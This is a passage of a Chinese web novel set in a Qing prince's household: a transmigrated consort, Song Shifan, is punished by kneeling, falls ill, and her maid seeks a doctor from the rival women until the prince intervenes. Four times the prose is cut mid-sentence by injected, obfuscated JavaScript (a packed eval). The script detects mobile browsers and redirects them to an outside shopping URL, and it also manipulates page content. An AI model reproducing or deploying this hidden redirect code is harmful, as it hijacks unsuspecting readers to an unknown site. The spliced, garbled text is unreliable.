宋氏什么意思?防备爷?爷怎么说也算是宋氏的枕边人,她都知道投靠福晋了,这会子不讨好爷,竟然还敢用这种眼神看爷?爷在她心里就这么可怕?她到底将爷当成什么了? 四爷在心中忿忿不平地想着,脸上的神色也不好看起来。 于是,火气上来的四爷说话了,打算训斥两句宋时繁小惩大诫一下:“宋氏,爷问你,你可知错?” 可宋时繁不是四爷肚子里的蛔虫,不知道四爷的想法。 听见四爷开口质问,宋时繁的心中还涌现出果然如此的感觉。 宋时繁觉得自己想得没错,四爷真是来拿自己出气的,亏她前段时间还觉得这人明事理,以为他对大格格宠爱便跟那些把女人当物件的古人不一样,是啊,她怎么又忘了,这里可是清朝。 想到这里,宋时繁一声辩解也无,直直便跪了下去,膝盖落地的瞬间,宋时繁还想道,瞧,连她自己都跪顺腿了。 四爷看着宋时繁冷冰冰跪在地上默然无声的样子,心像被什么人狠狠揪了一把,说不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045511|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么滋味。 四爷明明不是真得想惩戒宋时繁,但如今她这一跪倒叫四爷不好下台了。 但长久以来皇子的身份让四爷也拉不下脸,于是四爷不再看宋时繁,继续沉着脸道:“爷不过多来看大格格几次,倒惯的你不知天高地厚,竟在爷的后院张狂起来了。” 宋时繁被这话刺的只想笑,张狂?自从来了这里以后她恨不得原地长个乌龟壳缩进去,但短短三个月,总有各种事情找到她头上,她也想安安静静缩在这个院子里把大格格养大就好,可福晋不放过她,四爷偏又要来招惹她,现在倒成她张狂了。 可此时宋时繁什么都不想替自己解释了,只将头深深埋了下去。 四爷见宋时繁这副倔强模样气不打一处来,还从来没有哪个女子敢这样忤逆他,于是四爷继续道:“爷瞧着你就是心大了,不知道自己是个什么身份的玩意!” 这话说得极重,宋时繁猛地抬头看向四爷,天知道她一觉睡醒到了这里的时候心里有多少恐惧不能对人言,她难不成是自甘堕落自荐枕席成了四爷的小妾? 原先见四爷看重女儿,还教她习字的时候她还以为这位未来皇帝是有些不一样的,最起码对女人有尊重,是她错得离谱,这样封建的环境下,他们这些天潢贵胄向来视人命如草芥,哪里又会懂得这些?她不应该如此天真。 想到这里,宋时繁不由悲从中来,一双眼睛里已经浸满了泪水,“是奴才不知天高地厚,是奴才忘记自己的身份,旁人都是福晋主子,奴才不过是个见不得人的妾,说穿了就是个奴才秧子罢了,奴才原是不配的。” 说罢,豆大的泪水顺着宋时繁的脸颊一颗一颗落在了地面上,也砸到了四爷的心里。 虽然宋时繁什么也没说,但四爷突然意识到,前几日他们二人之间的和谐仿若就是空中楼阁,竟然在顷刻间就消散如烟了。 想到这里四爷的心里好像空了一块,仿佛抓不住眼前的宋时繁了,但四爷还不明白这种感觉从何而来,只一味觉得焦急。 四爷看着眼前泪水涟涟的宋时繁正不知道该怎么办才好,恰好此时大格格哭了起来,四爷阴沉着脸开口就训斥奶娘:“一群废物,连个孩子都看不好!” 声音太大好像吓到了大格格,因为大格格哭得更狠了。 宋时繁听着大格格撕心裂肺的哭声,心下一痛,更觉得眼前的四爷就是个不分青红皂白,连无辜稚子都会迁怒的暴躁狂。 于是宋时繁开口道:“四爷有气还请对着奴才撒,不要迁怒大格格,就算奴才求您了。” 宋时繁的这句话几乎不含什么情绪在里头,但四爷听着无端端就觉得刺耳。 终于,四爷被这话刺的有些慌不择言了:“既如此,你便去廊下跪着反省己过!” 说到这里,四爷停顿了一下,到底还是没忍住又补了一句:“若是知错了,便自行起来。” 说罢不肯再看宋时繁,拂袖而去。 方才宋时繁和四爷吵架,白薇在一旁吓坏了,此时四爷走了,白薇忙上前将宋时繁扶了起来,“格格,您这是何苦,奴才瞧四爷原本并没有...” 此时的宋时繁什么也不想听,挥了挥手让白薇先别说了,白薇见宋时繁心灰意冷的模样不敢再开口。 跪久了的宋时繁,腿有些发麻,踉跄了一下走到大格格身边,见大格格已经不哭了,只小声抽噎着,宋时繁抚了抚大格格的小脸颊,转身对着奶娘们说道:“你们照顾好大格格。” 说完也转身出了西厢,径自走到廊下,掀起衣裙跪了下去。 15. 哪都有她 很快,府里的人都知道四爷怒气冲冲地出了宋时繁的院子,而宋时繁被罚跪了。 福晋听说以后有些不屑地对身边的吴嬷嬷道:“原先见她乖巧,还想着抬举她几分,叫她碍一碍李氏的眼,没成想竟这样不成器,真是个不中用的!” 吴嬷嬷却不这么想,她自小便跟着福晋的额娘一起长大,后来又随着福晋的额娘一起嫁到了乌拉那拉府上,见识过那么多后宅手段,若是不然,福晋被指给四爷的时候,夫人也不会特特将她给了福晋,让她一起跟来四爷府上,不就是希望她能看顾着点福晋吗? 于是吴嬷嬷斟酌着开口道:“老奴瞧着不然,这宋氏怕是根本不想跟李氏对上,这才把事情招摇出来,明面上显得感念您的恩德,暗地里将是想您给拉下水,好叫李氏不要记恨她,反而来针对您。” 福晋闻言皱了皱眉:“嬷嬷可看准了?我冷眼瞧到现在,这宋氏还算规矩,大约没这么重的心思吧?” 吴嬷嬷摇了摇头:“我的福晋,您还年轻,见的人也不多,您不知道,有些人惯会扮猪吃老虎的,表面上一副绵软性子,暗地里不知道怎么使坏呢!这宋氏若是一点儿本事没有,能第一个生下主子爷的孩子?您入府的时候,她可已经揣上了!而且若是没点手段,能叫四爷常去看望?” 吴嬷嬷倒是不知道,四爷其实大部分时候都是去看大格格的,毕竟在吴嬷嬷的心里,一个丫头片子根本不顶事,哪里能叫四爷时时看顾? 所以吴嬷嬷便认为一定是宋时繁私底下使了些狐媚手段才将四爷勾引了去,否则怎么宋时繁月子的时候,四爷还常去呢?真真是上不得台面的东西。 福晋也被吴嬷嬷的话给惊着了,若宋氏真是个会做表面功夫的,那她岂不是一直都被蒙在鼓里了,那还得了? 想到这里,福晋有些气不打一处来,“看样子宋氏是不好拿捏了,李氏又有孕,新来的武格格身份高也算得宠,嬷嬷你说我现下该怎么办呀?” 福晋满打满算也才是十几岁的小姑娘,要搁在现代,还在无忧无虑地念书呢,所以这会子六神无主的福晋便显露出些脆弱来,第一个想到得便向一直陪着自己的嬷嬷求助。 吴嬷嬷温柔地抚了抚福晋的发髻,“福晋别怕,有嬷嬷在呢。” 吴嬷嬷想了想又道:“宋氏如今身子坏了,又惹了主子爷生气,眼看着是不成气候了,她既没眼色,福晋也不必将她看在眼里,倒是李氏有孕又得宠...不过福晋也不要太担心,就算那李氏先生下长子,说破天就是个庶出,不足为虑,不过福晋还是应该想想办法才行。” 福晋叹了一口气:“唉,按说也奇了,主子爷初一、十五都会来,可不知为何,我就是怀不上...”福晋一面说着,一面有些忧愁地摸了摸肚子。 吴嬷嬷见福晋这样有些心疼,犹豫了下还是开口道:“即便格格们不顶用,咱们府上不是还有几个侍妾?” “嬷嬷的意思是...” 吴嬷嬷点了点头:“正是福晋想得那样,侍妾身份低,生了孩子也不配养的,不若福晋挑两个看得顺眼的,叫她们得了主子爷的宠,若是有了孩子就抱来正院养,想必主子爷也不会有意见的。” 福晋听见这话心中下意识有些不自在,她又不是自己不能生,哪有主动往自己夫君床上送人的? 可她是嫡福晋,第一便是要贤惠大方,又想到马上就过年了,进宫以后德妃娘娘怕是会问子嗣的事,四爷排行高,但膝下至今只有一个格格,说出去也是她这个福晋不好的缘故。 于是福晋强忍住苦涩没说出口,而是应下了吴嬷嬷的话:“嬷嬷说得有理,明日请安的时候便让侍妾们都来吧,我也就刚入府的时候见过她们,到底都是伺候主子爷的,平日里多见见也好...” 吴嬷嬷见福晋想得通便高兴起来:“哎,福晋宽厚,能瞧上她们是她们的福气呢。” 福晋摆了摆手示意吴嬷嬷下去,她自己则看着窗外怔愣了一会,不知道在想些什么。 而另一边,宋时繁罚跪的消息传到李氏院里的时候,李氏高兴地就差手舞足蹈了:“哼,从前这宋氏一直被我压着得喘不过气,如今福晋进门她倒是知机,立马就乐颠颠地往上靠,谁知道闹个大笑话,主子爷还不是最疼我.” 李氏坐在软榻上一边抚摸着肚子一边得意洋洋地对着身旁的随喜说道,随喜应和着笑了两声,随后还是有些犹豫道:“格格您也别放松警惕,明明是咱们的人去请的主子爷,怎地人就去了宋氏那边...” 李氏闻言轻嗤一声:“就算她使手段叫主子爷去了她哪儿又怎样?甭管怎么说,现下还不是惹了主子爷生气?” 随喜见李氏这么说也觉着有理,便不再开口了,但架不住李氏心里得意,只听李氏又道:“再去叫人去请主子爷来,就说我吃不下饭。” “这...主子爷还生气呢,格格您...”随喜有些担心,本来嘛,请主子爷来就是为了告状,如今不用亲自告状,主子爷已经生宋格格的气了,何必再多生事端,到时候万一弄巧成拙了可怎么好? 但李格格这会正高兴,她劝恐怕也没用,随喜只好退下让人再去请四爷。 所幸没多会儿,四爷便来了李氏院里。 其实四爷是故意的,刚刚在宋时繁那里被她顶撞地不轻,到这时候心下的气还没消呢,正好李氏着人来请,他便想起一开始是要去看李氏的,于是就来了。 四爷一到李氏院里就见李氏笑吟吟地上前请安:“给主子爷请安,爷最近辛苦了,瞧着都瘦了一圈呢,奴才好生心疼爷。” 四爷见状在心里想道,爷的女人就应该像李氏这样,瞧瞧,多懂规矩,多听话,还知道关心爷瘦不瘦,不像那个宋氏,规矩乱七八糟不说,竟然还敢顶撞爷!瞧李氏笑得多温柔,不像那个宋氏,像块臭石头。 等等,他都到李氏屋子里了,怎么还在让她生气的想宋氏? 压下心头的那点别扭,四爷开口对着李氏道:“几次三番地去请爷,到底什么事儿啊?” 李氏脸上带着娇柔的笑:“爷许久不来看奴才了,奴才肚子里的孩子想阿玛了呢,他一想阿玛就闹奴才,奴才都吃不下饭了呢。” 平心而论,李氏长得很好看,她是汉人女子,样貌虽不算沉鱼落雁,却自有一种婉约的美,从前四爷是很喜欢李氏的,相较于宋氏的胆小无趣,李氏的温柔似水让四爷十分可心,所以也一直宠着她。 往常李氏也经常这样对着四爷撒娇,四爷从来都没觉得有什么不妥,但今天再一看就觉得李氏这故作害羞的样子多了几分造作。 不自觉地,四爷脑海里又浮现出宋时繁害羞的模样来,她一害羞就变得慌张,跟着耳朵就要红起来,然后她就会慌手慌脚地开始想办法逃跑,可爱得不行,又显得十分天然、质朴,让人不自觉就像靠近她。 意识到自己又想起了宋时繁,四爷眉头皱得快能夹死苍蝇了,四爷觉得自己一定是被宋时繁气坏了,所以才不停地想起她来。 于是四爷思索片刻后摆手道:“既如此就摆膳吧,爷今日陪你用膳。” 李氏欢天喜地应下了,忙吩咐人去准备膳食,不一会,桌上就摆满了热气腾腾的菜肴。 四爷率先坐下了,李氏原本打算站在四爷身旁伺候,之前向来是如此的,还能借此机会多和四爷有点互动,李氏巴不得呢。 但这次四爷却开口不让李氏侍膳:“坐下吧,你有身子呢,不必辛苦。” 李氏以为四爷是在关心自己,心下甜滋滋的,朝着四爷温柔笑了笑,便谢恩坐下,静默地开始用膳了,眼角余光还时刻关注着四爷的动向,务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045512|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必要跟四爷一起放筷子,这是跟主子一起用膳的规矩。 一时间,桌上没有人说话,连碗筷碰撞的声音也无,安静地不得了。 四爷当然能注意到李氏的眼神,从前他跟妻妾们都是这样用膳的,从来没觉得有什么异样的地方,可今天总觉着心里怪怪的。 不期然的,四爷又想起了宋时繁,想起宋时繁吃到好吃的东西时眼睛会放光,而且吃起东西来又快又好看,不像现下的李氏,一根蔬菜还要分成三口吃,看着宋时繁吃饭的时候好似他自己都能吃得香一点。 于是四爷没胃口了,但他又想到先前他陪宋时繁吃饭的时候,自己先放筷子害的宋时繁没吃饱,于是四爷犹豫了下终究没放下筷子,而是继续吃了起来,直到估摸着李氏应该饱了,才搁了筷子。 用完膳后四爷更惆怅了,原本生气的情绪也消散了,心里反而空落落地。 这时传来了李氏小心翼翼的声音:“爷今晚留下来吗?” 四爷正在想事情,没防备李氏突然有这一问便点头应下了,答应过后才反应过来。 不过既然已经说了要留下,四爷也不会反悔就是:“那便预备着歇下吧。” 李氏得了准话知道四爷愿意留下就心满意足了,她这会子有孕,四爷自然不会跟她做什么,可她怀着孕四爷还肯留下陪她那就是对她的恩宠,这样就足够了。 于是李氏欢喜地退下,到偏房洗漱去了,这自然也是规矩,主子爷留宿的时候,要么提前洗漱好,要么就去旁的屋子,总之不能在主子爷的眼前。 而四爷见李氏离开后,思索片刻还是招来苏培盛,问了一句:“她如何了?” 苏培盛闻言心中一惊,这个“她”是谁?莫不是宋格格?这叫什么事啊,明明是主子爷自己罚的人,怎么又问起来? 不过苏培盛可不敢置喙主子爷的意思,低头道:“回主子爷的话,您走的时候没说跪到什么时候,宋格格如今还跪着呢...” “混账东西,不是叫她知错就起来...”话说到这里,四爷顿了下,是啊,自己临走的时候都留了话,现下还不肯起来,那就是她自己不肯了,真是...真是个犟脾气! 想到这里四爷觉得他一番好心都成了驴肝肺,“既如此就叫她跪,跪到知错!”说罢也不再看苏培盛,挥手让苏培盛下去了。 而彼时,宋时繁也确实一直跪在廊下,她并不是没苦硬吃,也不是没听懂四爷临走留得话叫她认错后就起来,她只是不知道自己到底有什么错,相比较屈辱地站起来,她宁肯在这里跪着。 可现下毕竟是冬日里,入夜以后,夜凉如水,几乎冷得刺骨,宋时繁的身子本就不好,这会子显然已经撑不住了。 意识模糊间,宋时繁朝后倒去,这一刹那,宋时繁想,也许这样就能回家了呢... 幸运的是,白薇一直在旁边观察着宋时繁的动向,见宋时繁好像要晕倒,忙上前将人接了下来。 “快叫大夫,格格...格格您怎么样?格格您快醒醒呀!快!你们快去叫大夫啊!” 可院中的粗使太监们都有些踌躇不前:“白薇姑娘,主子爷刚罚了格格,咱们就这么大张旗鼓的闹起来,是不是不好...” “我呸,人都要没了什么好不好的,我瞧着你们就是巴不得宋格格不好,一个个的都是白眼狼,我自己去找人!”白薇恶狠狠地说道,其余人见状也就不往上凑了。 可如今是深夜,前院已经落了锁,她一个格格身边的丫鬟,是万万去不了前院的。 就在白薇绝望之际,有个小太监上前对白薇道:“白薇姐姐,主子爷今日去了李格格院里呢,这会子就歇在了李格格院。” 闻言白薇眼前一亮,招呼说话的小太监一起将宋时繁扶进屋里以后,便一头扎进了夜色里。 16. 求告无门 不过白薇一出院子,脑子被冷风一激,人也跟着清醒了不少,随即便想到了李格格的性子。 这会若是黑不提白不提地直接冲去李格格院里,被奚落一番都是小事,要是李格格拦着自己再耽误了宋格格病情那可就是大事了,现下不如先去福晋那里碰碰运气。 按理来说,后院里的格格们病了,虽说够不上面子请太医,但也是可以叫郎中或者府医的,若是这时候福晋愿意搭搭手,由福晋的人去前院请大夫想必不是什么难事。 但白薇转念又想到今日自家格格算是得罪了福晋,也不知福晋肯不肯救宋格格,可事到如今不试一试又怎么知道呢?于是白薇便朝着福晋所在的正院方向跑去。 不过,白薇刚到门口,还没进去就被守门的小太监给拦了下来,“哟,这不是宋格格身边的白薇姑娘吗?都这么晚了,怎么跑到正院里来了?若是惊扰了福晋,你担得起这个责任吗?” 白薇顾不上计较小太监嘴里的阴阳怪气,她咽了口口水想缓解一下嘴巴里的干涩,随即努力挤出一个笑容来,“公公有所不知,我们宋格格病了,还望公公发发善心让我进去,求福晋给我们宋格格请个大夫来...” 太监闻言从鼻子里发出一声嗤笑:“姑娘说笑了,这要是让你冒冒失失闯进去了那就是我的失职了,回头冲撞了福晋我也是个死,都是做奴才的,白薇姑娘就别为难我吧!”说罢将头扭了过去不肯再看白薇了。 白薇还不死心,从怀里摸出些碎银子悄悄往门口太监的袖管里送,嘴里仍旧哀求着:“公公哪里话,我怎么敢为难公公,公公开开恩,就让我进去吧...” 就算是福晋这里粗使的太监,说出去也比府中旁人身份高些,哪里看得上白薇塞过来的三瓜两枣,小太监不肯收,但架不住白薇死缠烂打,二人便在门口拉扯了起来,动静就传到了院子里。 不一会儿,福晋身边的大丫鬟芸香施施然走了过来,开口便训斥道:“没规矩的东西,这么晚了还吵吵嚷嚷的,扰了福晋清梦我看你们死不死!到底怎么回事?” 芸香是福晋从家里带来的陪嫁丫鬟,福晋毕竟和格格们不同,是允许带陪嫁来府上的,而芸香正是福晋带来的四个大丫鬟之一,其余三个分别是茉香、荷香还有莉香。 相比较内务府送来的人,福晋还是更愿意重用自己从家里带来的陪嫁丫鬟以及陪嫁嬷嬷,毕竟是从小跟着自己的,怎么也比外人强。 当然,这也造成了福晋身边的四个大丫鬟在府里向来是头顶朝天,一惯看不上旁人的。 现下芸香就在指桑骂槐,可白薇不怕听两句奚落,如今最要紧的还是自家主子的安危。 于是白薇忙开口对芸香解释道:“芸香姑娘,是我不懂规矩打扰了福晋安寝,只是宋格格病得厉害,这会子人已经晕过去了,怕是不好,求芸香姑娘辛苦一下进去将此事通传给听福晋,好替我们格格找个大夫来。” 芸香闻言撇了白薇一眼,见她眉眼间俱是焦急之色,约莫不是在骗人,便撂下一句:“你且等着”,随即便朝正屋里走去。 正屋里,福晋还没睡下,正斜倚在贵妃榻上看账本,见芸香回来了,也没停下手中的事,倒是一旁侍立着的吴嬷嬷上前询问道:“外头发生什么事了?” 芸香先给福晋请了安,随后才开口回答:“是宋格格身边的丫鬟白薇,说是宋格格病了,瞧着仿佛很严重的样子,想求福晋给请个大夫来看看。” 吴嬷嬷蹙了蹙眉头,“你可瞧真切了?莫不是宋格格想借着装病争宠吧?”吴嬷嬷有些不相信,怎么主子爷刚罚了宋格格,宋格格好巧不巧就病了?这怕不是做给主子爷看呢。 芸香摇了摇头:“奴才也不知道是真是假,但见白薇神情焦灼,怕是真病了,只是严不严重就不清楚了。” “谅她有什么病,也不该大晚上的就闹出来。”福晋淡淡接了一句,但语气里却难掩郁气,显然还记着白日里宋时繁不识抬举的事情。 吴嬷嬷见状忙安抚道:“福晋不必和一个格格置气,天已经这么晚了,也不差这一会儿,就叫她等着,明日里再请大夫也不算错了规矩不是?” 福晋听了这话眼里渗出一丝笑意来,将手中账本搁置,悠闲地站起身道:“既如此就让她回去吧,芸香,过来伺候我安寝。” 芸香点头应是,忙上前伺候福晋换上就寝时候穿的衣服,不多会儿,正屋里的烛火就熄灭了。 而正院门口,白薇还在苦苦等待。 左等右等也不见人影,白薇心下焦灼不已,可就这么白等着根本不是办法,看样子福晋是不打算救宋格格的。 想到这里白薇一咬牙,转身朝着李格格的院落跑去,不能再等下去了,宋格格如今生死不知,还是去求求主子爷吧。 若是李格格阻拦,便是拼了她这条命,也要求到主子爷面前,好歹要将大夫给格格请来才成。 所幸,李格格的院子离正院不算远,又因为白薇心里着急脚下步子就越发快,所以没多会儿就到了。 这个时辰,李格格的院子十分寂静,显然主子们都已经歇下了。 可白薇也顾不上这许多了,直直便往里冲去,好悬没叫她冲进李格格和四爷歇息的屋子里,还是在门口守夜的随喜将白薇拦了下来。 “白薇姑娘?这是做什么呢?你瞧清楚了没有,这里可是李格格的院子,不是你们宋格格的地盘,怎么横冲直撞的...”随喜有些惊讶,不明白白薇大半夜的是想闹哪一出。 白薇忙道:“我们宋格格病了,随喜姐姐叫我进去禀告主子爷吧。” 随喜有些犹疑:“这...我不好做主,怎么不去禀报福晋,反找到这里来了?” 白薇嘴角有些苦涩:“福晋怕是已经歇下了,我不敢打扰...” 随喜一听就明白了,合着这是福晋不乐意管,不过福晋都不管她们格格肯定也不想管。 于是随喜便作出一副为难的样子:“哎,不是我不想帮你,只是主子爷已经歇下了,这会子惊动起来,再吓着我们格格,回头要是动了胎气,谁也担待不起不是?要不白薇你先回去?等明儿一早主子爷醒了我一定帮你转告...” 白薇已经不想再听这些推脱之言了,她知道随喜不会帮她的,思索片刻后白薇直接在门口跪了下来,边磕头边朝屋内哀求起来。 “求主子爷开恩,宋格格病了,求主子爷给格格请个大夫吧,再耽误下去,宋格格怕是要撑不住了...” “求主子爷开恩吧!” “求主子爷开恩吧!” 随喜已经惊呆了,她没想到白薇竟如此豁得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过这会子苏培盛也顾不上得意了,生怕再耽误下去宋格格真有个三长两短,于是对四爷行了个礼就赶紧请太医去了。 四爷也坐不住了,起身就开始穿衣服,李氏忙上前伺候四爷更衣,嘴里还试图挣扎道:“既然已经请了太医想必宋姐姐那边不会有事的,天已经这么晚了,爷就别去了吧?” 四爷自顾自地穿衣服,只说了句:“天色确实晚了,我去瞧瞧就行,你还有孕早点歇着吧。” 说完就不再理会李氏的话,李氏见劝不住也不敢再说了,怕招惹了四爷不高兴,但心里的怨恨却都快溢出来了。 等四爷走后,李氏将随喜叫了进来:“没用的东西,不知道把她拦在外面?” 随喜有些无奈,她确实拦了,只不过没拦住而已,可这也怪不着她啊,但李格格生气了,她也不敢狡辩,跪下就认错:“奴才知罪,格格不要生气,好歹顾念着肚子里的小阿哥。” 李氏恼恨了一会,架不住怀孕的人困劲大,没一会又睡过去了。 四爷此时已经到了宋时繁的院子,一进屋打眼就发现屋里根本没人在照料宋时繁,当即便呵斥:“一群狗奴才,全都是不中用的,主子病了也不知道伺候?” 17. 生病了 宋时繁院子里的奴才们尤不知道自己已经大祸临头了,毕竟他们谁都没想到已经在李格格院子里歇下的四爷竟然会漏夜前来宋格格的院子。 是啊,说起来宋格格向来是不受宠的,虽说接连生了两个女儿,可前头那个还没活过满月,如今的大格格也不时就有个三病两灾的。 而且宋格格自己的身子更是眼看着就败落了,今日还惹了主子爷的恼火,原以为主子爷都要彻底厌弃宋格格了...现下这,谁能想到呢? 其实,四爷自己都想不明白他心里到底是怎么想的,只是当时一听说宋氏病了,脚下的步子便不自觉地朝着这边来了。 说实话,在来的路上,四爷也想过宋氏会不会是借病争宠,毕竟傍晚时候才罚过她呢,若真如此,那宋氏可就是得寸进尺了,四爷当然会觉得有些失望,不过四爷也不是不能理解的。 虽说宋氏一向是老实的,可最近宋氏确确实实出现在他面前的次数多了起来,也真叫他挂心了,这叫四爷怎么能不多想呢,他从小是在宫里长大的,皇阿玛的女人可不少,不然能生出这么多兄弟姐妹来吗? 也许,宋氏是因为生了大格格,觉得有底气了,又或者是宋氏知道自己以后可能没机会生孩子了,不甘心就这样沉寂下去,所以也开始耍手段了。 种种原因四爷都觉得情有可原,但在心里对宋氏的印象肯定会大打折扣的,所以一路上四爷除了焦急,还有一丝隐秘的忐忑,因为他打从心眼里,不希望宋时繁是这样的人,这样的...俗气。 不过,四爷所有的胡思乱想在一进屋看见宋时繁的时候霎时间就烟消云散了。 只见宋时繁苍白着一张脸,眉头还紧紧锁着,整个人小小一团全都陷进了床榻里,四爷叫了两声她没有任何反应,俨然是已经昏死过去了。 此时看见这样的宋时繁,四爷心中不由小小松了一口气,幸好,她是真的病了,四爷有些高兴自己没看错人,宋氏不是不知分寸的人,可随之而来的就是滔天的怒火。 “为何病成这样了不早来报给爷知道?身边伺候的人呢?都死了不成!”看着已经生死不知的宋时繁,四爷有些气急败坏地开了口。 一直跟在四爷身后的白薇听见这句话眼泪瞬间就涌了出来。 她朝着四爷跪下磕了个头:“回主子爷的话,格格晕倒以后,奴才想叫太监们去前院通报请大夫,可那群狼心狗肺的东西见主子爷您刚罚了格格,都不愿意沾染格格的事,奴才又是个丫鬟不敢擅闯前院,走投无路之下听说主子爷今晚上歇在后院了,这才贸然去打扰,只要能救格格,奴才万死也不辞的,只求主子爷能让奴才亲眼见着格格好起来,之后任凭主子爷处置...” 白薇一句接着一句,说一句话便磕一个头,几乎是声泪俱下,四爷的脸色也随着白薇脱口而出的话越来越难看。 当然四爷的怒火不是对着白薇,毕竟这丫头倒是难得的忠心护主。 四爷气的是那群不知天高地厚的奴才们,尤其是内务府送来的太监宫女,在宫里头趾高气昂惯了,如今都来了他的皇子府上,竟然还敢把自己当盘菜,简直是不知所谓,只不过四爷才开府没多久,他还没腾出手来收拾这些人,这些人倒是先拜高踩低上了。 越想下去,四爷的脸色就越阴沉,好在这个时候,苏培盛带了位略显年轻的太医着急忙慌地回来了。 “给主子爷请安,这位是太医院的于太医,今日恰好于太医不当值,便跟着奴才来了。”苏培盛上前一步,对着四爷说明了来人的身份。 于太医也上前一步朝四爷拱手:“微臣参见四贝勒爷。” 四爷忙摆手寒暄了一句:“于太医不必多礼,这么晚还叫你过府是爷思虑不周了,只是爷府上的格格突发恶疾,瞧着实在是有些严重,这才不得不打扰于太医...” 于太医自然明白四爷的未尽之言,也知道四爷只是跟自己客套一下,都是在宫里当差的,这点子言语机锋还是能明白的。 不过于太医听着四爷话里的意思,应该是很看重眼前病着的这位格格,否则用不着特意跟他嘱托这一句,就是不知道这是四爷府上的哪位格格了。 思及此处,于太医也不敢再耽误下去,对着四爷连称了几句不敢后,就上前开始给宋时繁诊脉。 于太医一摸上宋时繁的脉搏就在心内暗道了句不好,这位格格应该是刚生产完没多久,元气还没彻底恢复过来呢,又受了大寒,眼下寒气入体,气血不畅,若是稍不注意人怕是都要留不住了,到时候他这个看诊的也落不着什么好。 但这病也不是不能治,只是要下一剂猛药,能将病人体内的寒气逼出来才行。 可问题也就在这,眼前这位病人的体质实在太差,内里几乎都是虚的,若是真下了猛药,人受不受得住是一个关键,更要紧的怕是于子嗣上也有妨碍。 于太医想到眼前人的身份,心里不免有些踌躇,一个皇子府上的格格,若是不能生了,怕是就算救回来了,以后也没活路。 四爷看着于太医脸上变换不定的神色,心下有些骇然,莫不是病得很严重?实在受不了这个煎熬的的四爷终于还是开口催促道:“于太医有话直说便是,有什么事不必隐瞒爷,可是不大好?” 于太医忙起身对着四爷拱手道:“微臣看着是风寒入侵的症状,加之病人之前身体底子就不好,又刚生产完,怕是...” 四爷闻言蹙起了眉头:“太医的意思是不好治吗?” 于太医摇了摇头才缓缓道:“治还是能治的,只不过...” 四爷一听于太医这话心里就有底了,他也是在宫里长大的,他知道,宫里当差的太医虽然说医术水平肯定都没话说,但是宫里面能够上太医诊治的都是贵人,若是太医用药太猛烈,有个好歹,那就是性命不保的事。 所以才有了太平方子这一回事,就是太医在看完诊后会开那种治不死也吃不好的药方,到底求一个稳妥,这会子于太医怕是就在纠结如何开药方的事。 四爷在这方面还算开明,治病救人嘛,自然该一步到位,一味要求温和的药方子,殊不知有些病就是这样被拖严重的,甚至有人最后直接被耽误死的,这不是舍本逐末嘛。 想到这里,四爷立刻对着于太医吩咐道:“于太医你不用有顾忌,到底还是应该把病治好了才是要紧,爷别的不在乎,先把人保住才是,其他的都可以往后放一放,日后万一有个什么,爷也不会怪罪你的。” 于太医闻言眼前一亮,他在太医院虽然没用担任什么重要职位,但也常被宫里的主子们叫去看病,可看来看去,开的都是那些不出错的药方,他也觉得憋闷,本来嘛,学得一身医术卖与帝王家,也是想要有些贡献的,可在宫里头久了,他都不记得当初学医是为什么了。 如今四爷既然发了话,他便可以放开手脚地治了,不过他想了想还是对四爷道:“格格如今寒气入体太甚,微臣打算下一剂猛药将格格体内的寒气逼出来,只是这药性太烈,日后可能对子嗣上有些妨碍,不知...” 四爷听见这话一怔,不过很快他便回过神来,毕竟之前宋氏连生两个孩子都生得不好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045514|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四爷心里本就存了不再叫她生孩子的想法,否则生一个病一个,没得叫他伤心,这会子既然是为了治病那也是没办法的事。 于是四爷点了点头,示意于太医下去开药,而他自己则坐到了宋时繁的榻边,看着宋时繁不断冒着冷汗的脸颊,心里有些不忍地叹了口气,看来宋氏这辈子的子嗣缘分有些浅薄啊,随即,四爷又对着白薇道:“这事就不必对你家格格说了,防着她多想。” 白薇低下头应了一声是,心中不免涌上些苦涩,看来自家格格以后怕是要艰难了,不过看四爷对自家主子的态度,也许事情还没到最糟糕的地步呢... 不一会,于太医就拿着药方回来了,将用药方法都嘱咐给了白薇听,还额外讲了几个食补的方子,白薇忙细细记下后,接了药方去院子里熬药了,而于太医交代完以后跟四爷告了声罪也由苏培盛陪着送出了府门。 